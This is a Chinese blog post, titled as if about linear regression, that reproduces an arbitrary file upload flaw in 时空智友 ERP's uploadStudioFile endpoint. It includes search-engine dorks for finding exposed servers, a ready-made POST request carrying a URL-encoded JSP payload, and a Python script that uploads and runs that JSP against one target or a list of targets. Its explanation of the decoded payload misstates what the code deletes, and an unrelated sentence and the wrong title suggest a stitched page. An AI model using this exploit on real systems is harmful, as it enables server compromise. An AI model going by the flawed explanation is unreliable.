每天一个数据分析题(四百一十七)- 线性回归

阅读 4

2024-07-24

文章目录


漏洞描述

时空智友ERP是专为医药等行业设计的综合性企业资源规划系统,融合云计算和移动技术,支持多组织管理。。其uploadStudioFile接口存在任意文件上传漏洞,攻击者可通过该漏洞上传任意文件到服务器上,包括木马后门文件,导从而获取服务器权限。

漏洞复现

1)信息收集
fofa:body=“login.jsp?login=null”
hunter:web.body=“login.jsp?login=null”
在这里插入图片描述
无论如何轮回做出选择,终将还是会后悔。
在这里插入图片描述
2)构造数据包

POST /formservice?service=updater.uploadStudioFile HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 609

content=<?xml%20version="1.0"?><root><filename>test.jsp</filename><filepath>./</filepath><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%31%31%31%20%2a%20%31%31%31%29%3b%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%29%29%29%2e%64%65%6c%65%74%65%28%29%3b%0d%0a%25%3e%0d%0a-->

代码解释

content=<?xml%20version="1.0"?><root><filename>test.jsp</filename><filepath>./</filepath><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%31%31%31%20%2a%20%31%31%31%29%3b%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%29%29%29%2e%64%65%6c%65%74%65%28%29%3b%0d%0a%25%3e%0d%0a-->

这段内容是一个XML格式的数据,其中包含了一些文件信息,例如文件名test.jsp、文件路径./、文件大小172以及最后修改时间1970-01-01 08:00:00。XML注释部分包含了执行脚本的注入。

注释中的内容经过URL解码后是这样的:

out.print("<pre>");
out.println(111 * 111);
out.print("</pre>");
new java.io.File(application.getRealPath("../../../")).delete();

这段代码执行了以下操作:

  1. out.print("<pre>"); - 输出一个<pre>标签,通常用于显示预格式化的文本。
  2. out.println(111 * 111); - 打印计算结果,这里是111 * 111,即12321
  3. out.print("</pre>"); - 输出一个闭合的</pre>标签。
  4. new java.io.File(application.getRealPath("../../../")).delete(); - 尝试删除应用服务器上当前工作目录的上三级目录。

这是一种Web Shell的注入尝试,通过在XML注释中嵌入恶意Java代码,试图在服务器上执行任意命令。
在这里插入图片描述

3)查看上传文件

GET /update/temp/studio/test.jsp HTTP/1.1
Host:ip

在这里插入图片描述
成功查看到上传文件,存在任意文件上传漏洞。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
时空智友 ERP 系统文件上传漏洞检测工具

本脚本用于检测指定的时空智友 ERP 系统是否存在文件上传漏洞。
通过上传一个测试文件并检查返回内容来确认漏洞是否存在。
"""

import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

# 忽略 HTTPS 证书验证警告
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义红色和重置终端输出样式
RED = '\033[91m'
RESET = '\033[0m'

def upload_studio_file(url):
    """
    检测指定 URL 的时空智友 ERP 系统是否存在文件上传漏洞。

    参数:
    - url: 待检测的 URL。

    返回:
    - 检测结果的字符串描述。
    """
    # 定义请求头,模拟浏览器发送请求
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    # 构造上传的伪造数据
    data = 'content=<?xml%20version="1.0"?><root><filename>test.jsp</filename><filepath>./</filepath><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%31%31%31%20%2a%20%31%31%31%29%3b%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%29%29%29%2e%64%65%6c%65%74%65%28%29%3b%0d%0a%25%3e%0d%0a-->'

    # 构造上传地址和测试文件地址
    upload_url = f"{url.rstrip('/')}/formservice?service=updater.uploadStudioFile"
    shell_url = f"{url.rstrip('/')}/update/temp/studio/test.jsp"

    try:
        # 发送上传请求
        response = requests.post(upload_url, headers=headers, data=data, verify=False, timeout=30)
        if response.status_code == 200:
            # 发送测试文件请求并检查是否成功上传
            shell_response = requests.get(shell_url, verify=False, timeout=30)
            if shell_response.status_code == 200 and "12321" in shell_response.text:
                print(f"{RED}URL [{url}] 存在时空智友 ERP uploadstudiofile 文件上传漏洞{RESET}")
            else:
                print(f"URL [{url}] 可能不存在漏洞")
        else:
            print(f"URL [{url}] 上传文件失败,响应状态码: {response.status_code}")
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序入口函数。

    从命令行参数中获取待检测的 URL,然后调用 upload_studio_file 函数进行检测。
    """
    parser = argparse.ArgumentParser(description='检测目标地址是否存在时空智友 ERP uploadstudiofile 文件上传漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:
        # 处理命令行指定的单个 URL
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        upload_studio_file(args.url)
    elif args.file:
        # 处理命令行指定的包含多个 URL 的文件
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                upload_studio_file(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述

精彩评论(0)

0 0 举报